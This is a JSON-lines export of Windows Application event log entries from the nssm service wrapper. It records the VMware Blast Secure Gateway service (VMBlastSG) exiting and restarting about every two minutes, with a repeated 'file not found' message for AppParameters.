{"@timestamp":1646682221270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157349}}
{"@timestamp":1646682221270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157350}}
{"@timestamp":1646682221271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157351}}
{"@timestamp":1646682221272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157352}}
{"@timestamp":1646682349853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157353}}
{"@timestamp":1646682349854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157354}}
{"@timestamp":1646682349854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152984","0"]}}},"module":"Application","provider":"nssm","sequence":157355}}
{"@timestamp":1646682349864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152984","152984","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157356}}
{"@timestamp":1646682349883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157357}}
{"@timestamp":1646682349884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157358}}
{"@timestamp":1646682349884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157359}}
{"@timestamp":1646682349885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157360}}
{"@timestamp":1646682478387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157361}}
{"@timestamp":1646682478389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157362}}
{"@timestamp":1646682478390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154504","0"]}}},"module":"Application","provider":"nssm","sequence":157363}}
{"@timestamp":1646682478390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154504","154504","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157364}}
{"@timestamp":1646682478405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157365}}
{"@timestamp":1646682478406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157366}}
{"@timestamp":1646682478406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157367}}
{"@timestamp":1646682478407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157368}}
{"@timestamp":1646682607066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157369}}
{"@timestamp":1646682607066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157370}}
{"@timestamp":1646682607068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153376","0"]}}},"module":"Application","provider":"nssm","sequence":157371}}
{"@timestamp":1646682607068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153376","153376","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157372}}
{"@timestamp":1646682607085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157373}}
{"@timestamp":1646682607085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157374}}
{"@timestamp":1646682607086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157375}}
{"@timestamp":1646682607087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157376}}
{"@timestamp":1646682735590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157377}}
{"@timestamp":1646682735592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157378}}
{"@timestamp":1646682735592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153608","0"]}}},"module":"Application","provider":"nssm","sequence":157379}}
{"@timestamp":1646682735593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153608","153608","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157380}}
{"@timestamp":1646682735610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157381}}
{"@timestamp":1646682735610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157382}}
{"@timestamp":1646682735611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157383}}
{"@timestamp":1646682735612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157384}}
{"@timestamp":1646682864097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157385}}
{"@timestamp":1646682864099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157386}}
{"@timestamp":1646682864100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154240","0"]}}},"module":"Application","provider":"nssm","sequence":157387}}
{"@timestamp":1646682864101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154240","154240","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157388}}
{"@timestamp":1646682864118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157389}}
{"@timestamp":1646682864118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157390}}
{"@timestamp":1646682864119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157391}}
{"@timestamp":1646682864120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157392}}
{"@timestamp":1646682992620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157393}}
{"@timestamp":1646682992621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157394}}
{"@timestamp":1646682992622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153424","0"]}}},"module":"Application","provider":"nssm","sequence":157395}}
{"@timestamp":1646682992623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153424","153424","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157396}}
{"@timestamp":1646682992638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157397}}
{"@timestamp":1646682992639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157398}}
{"@timestamp":1646682992639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157399}}
{"@timestamp":1646682992640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157400}}
{"@timestamp":1646683121151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157401}}
{"@timestamp":1646683121152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157402}}
{"@timestamp":1646683121153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154376","0"]}}},"module":"Application","provider":"nssm","sequence":157403}}
{"@timestamp":1646683121153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154376","154376","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157404}}
{"@timestamp":1646683121169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157405}}
{"@timestamp":1646683121169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157406}}
{"@timestamp":1646683121170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157407}}
{"@timestamp":1646683121170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157408}}
{"@timestamp":1646683249657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157409}}
{"@timestamp":1646683249659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157410}}
{"@timestamp":1646683249659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154480","0"]}}},"module":"Application","provider":"nssm","sequence":157411}}
{"@timestamp":1646683249660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154480","154480","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157412}}
{"@timestamp":1646683249676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157413}}
{"@timestamp":1646683249676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157414}}
{"@timestamp":1646683249676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157415}}
{"@timestamp":1646683249677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157416}}
{"@timestamp":1646683378196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157417}}
{"@timestamp":1646683378197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157418}}
{"@timestamp":1646683378198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153648","0"]}}},"module":"Application","provider":"nssm","sequence":157419}}
{"@timestamp":1646683378198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153648","153648","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157420}}
{"@timestamp":1646683378214,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157421}}
{"@timestamp":1646683378215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157422}}
{"@timestamp":1646683378215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157423}}
{"@timestamp":1646683378216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157424}}
{"@timestamp":1646683506709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157425}}
{"@timestamp":1646683506712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157426}}
{"@timestamp":1646683506712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151976","0"]}}},"module":"Application","provider":"nssm","sequence":157427}}
{"@timestamp":1646683506713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151976","151976","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157428}}
{"@timestamp":1646683506728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157429}}
{"@timestamp":1646683506729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157430}}
{"@timestamp":1646683506729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157431}}
{"@timestamp":1646683506730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157432}}
{"@timestamp":1646683635239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157433}}
{"@timestamp":1646683635240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157434}}
{"@timestamp":1646683635241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153860","0"]}}},"module":"Application","provider":"nssm","sequence":157435}}
{"@timestamp":1646683635241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153860","153860","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157436}}
{"@timestamp":1646683635258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157437}}
{"@timestamp":1646683635259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157438}}
{"@timestamp":1646683635259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157439}}
{"@timestamp":1646683635260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157440}}
{"@timestamp":1646683763768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157441}}
{"@timestamp":1646683763770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157442}}
{"@timestamp":1646683763771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154320","0"]}}},"module":"Application","provider":"nssm","sequence":157443}}
{"@timestamp":1646683763771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154320","154320","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157444}}
{"@timestamp":1646683763789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157445}}
{"@timestamp":1646683763790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157446}}
{"@timestamp":1646683763790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157447}}
{"@timestamp":1646683763791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157448}}
{"@timestamp":1646683892293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157449}}
{"@timestamp":1646683892294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157450}}
{"@timestamp":1646683892295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154344","0"]}}},"module":"Application","provider":"nssm","sequence":157451}}
{"@timestamp":1646683892296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154344","154344","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157452}}
{"@timestamp":1646683892311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157453}}
